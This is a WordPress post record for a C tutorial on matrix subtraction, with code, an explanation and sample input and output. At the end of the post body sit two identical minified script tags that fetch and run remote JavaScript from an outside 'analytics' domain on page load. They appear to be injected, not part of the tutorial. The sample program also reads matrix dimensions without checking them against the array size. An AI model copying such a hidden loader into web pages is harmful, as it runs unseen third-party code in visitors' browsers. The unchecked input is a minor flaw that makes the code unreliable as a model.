{"id":1031,"date":"2024-10-21T14:58:50","date_gmt":"2024-10-21T09:28:50","guid":{"rendered":"https:\/\/codexplained.in\/?p=1031"},"modified":"2025-11-24T15:31:05","modified_gmt":"2025-11-24T10:01:05","slug":"matrix-subtraction","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=1031","title":{"rendered":"Matrix subtraction"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Introduction<\/h3>\n\n\n\n<p>Matrix subtraction is an operation that involves subtracting the corresponding elements of two matrices of the same dimensions. This operation is widely used in fields such as computer graphics, physics, and statistics. Just like matrix addition, matrix subtraction is straightforward and forms the basis for more complex matrix operations.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\n#define MAX_SIZE 10 \/\/ Define maximum size for the matrices\n\nvoid subtractMatrices(int a&#x5B;MAX_SIZE]&#x5B;MAX_SIZE], int b&#x5B;MAX_SIZE]&#x5B;MAX_SIZE], int result&#x5B;MAX_SIZE]&#x5B;MAX_SIZE], int rows, int cols) {\n    for (int i = 0; i &lt; rows; i++) {\n        for (int j = 0; j &lt; cols; j++) {\n            result&#x5B;i]&#x5B;j] = a&#x5B;i]&#x5B;j] - b&#x5B;i]&#x5B;j]; \/\/ Subtract corresponding elements\n        }\n    }\n}\n\nint main() {\n    int a&#x5B;MAX_SIZE]&#x5B;MAX_SIZE], b&#x5B;MAX_SIZE]&#x5B;MAX_SIZE], result&#x5B;MAX_SIZE]&#x5B;MAX_SIZE];\n    int rows, cols;\n\n    printf(&quot;Enter the number of rows and columns: &quot;);\n    scanf(&quot;%d %d&quot;, &amp;rows, &amp;cols);\n\n    printf(&quot;Enter elements of the first matrix:\\n&quot;);\n    for (int i = 0; i &lt; rows; i++) {\n        for (int j = 0; j &lt; cols; j++) {\n            printf(&quot;a&#x5B;%d]&#x5B;%d]: &quot;, i, j);\n            scanf(&quot;%d&quot;, &amp;a&#x5B;i]&#x5B;j]);\n        }\n    }\n\n    printf(&quot;Enter elements of the second matrix:\\n&quot;);\n    for (int i = 0; i &lt; rows; i++) {\n        for (int j = 0; j &lt; cols; j++) {\n            printf(&quot;b&#x5B;%d]&#x5B;%d]: &quot;, i, j);\n            scanf(&quot;%d&quot;, &amp;b&#x5B;i]&#x5B;j]);\n        }\n    }\n\n    subtractMatrices(a, b, result, rows, cols);\n\n    printf(&quot;Resultant matrix after subtraction:\\n&quot;);\n    for (int i = 0; i &lt; rows; i++) {\n        for (int j = 0; j &lt; cols; j++) {\n            printf(&quot;%d &quot;, result&#x5B;i]&#x5B;j]);\n        }\n        printf(&quot;\\n&quot;);\n    }\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Function Definition<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>subtractMatrices(int a[MAX_SIZE][MAX_SIZE], int b[MAX_SIZE][MAX_SIZE], int result[MAX_SIZE][MAX_SIZE], int rows, int cols)<\/code>: This function takes two input matrices (<code>a<\/code> and <code>b<\/code>), an empty matrix (<code>result<\/code>) for storing the difference, and the number of rows and columns.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Loop<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Nested <code>for<\/code> loops iterate over each element of the matrices. For each element at position <code>(i, j)<\/code>, the corresponding elements of matrices <code>a<\/code> and <code>b<\/code> are subtracted and stored in <code>result<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Prompts the user for the dimensions of the matrices.<\/li>\n\n\n\n<li>Accepts the elements for both matrices from user input.<\/li>\n\n\n\n<li>Calls <code>subtractMatrices<\/code> to perform the subtraction.<\/li>\n\n\n\n<li>Prints the resultant matrix.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Input<\/h3>\n\n\n\n<p>When you run the program, it will ask for the number of rows and columns, followed by the elements of each matrix. For example:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\nEnter the number of rows and columns: 2 2\nEnter elements of the first matrix:\na&#x5B;0]&#x5B;0]: 8\na&#x5B;0]&#x5B;1]: 6\na&#x5B;1]&#x5B;0]: 4\na&#x5B;1]&#x5B;1]: 2\nEnter elements of the second matrix:\nb&#x5B;0]&#x5B;0]: 5\nb&#x5B;0]&#x5B;1]: 3\nb&#x5B;1]&#x5B;0]: 2\nb&#x5B;1]&#x5B;1]: 1\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Output<\/h3>\n\n\n\n<p>The output will display the resultant matrix after subtraction:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\nResultant matrix after subtraction:\n3 3 \n2 1\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Conclusion<\/h3>\n\n\n\n<p>Matrix subtraction is a fundamental operation in mathematics and various applications. The provided C implementation demonstrates how to perform subtraction of two matrices of the same dimensions. The simplicity of the algorithm makes it easy to understand and apply in different contexts, while also providing a foundation for more complex matrix operations.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Introduction Matrix subtraction is an operation that involves subtracting the corresponding elements of two matrices of the same dimensions. This operation is widely used in fields such as computer graphics, physics, and statistics. Just like matrix addition, matrix subtraction is straightforward and forms the basis for more complex matrix operations. Explanation Input When you run [&hellip;]<\/p>\n","protected":false},"author":47,"featured_media":1115,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-1031","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1031","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/47"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1031"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1031\/revisions"}],"predecessor-version":[{"id":1382,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1031\/revisions\/1382"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/1115"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1031"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1031"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1031"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}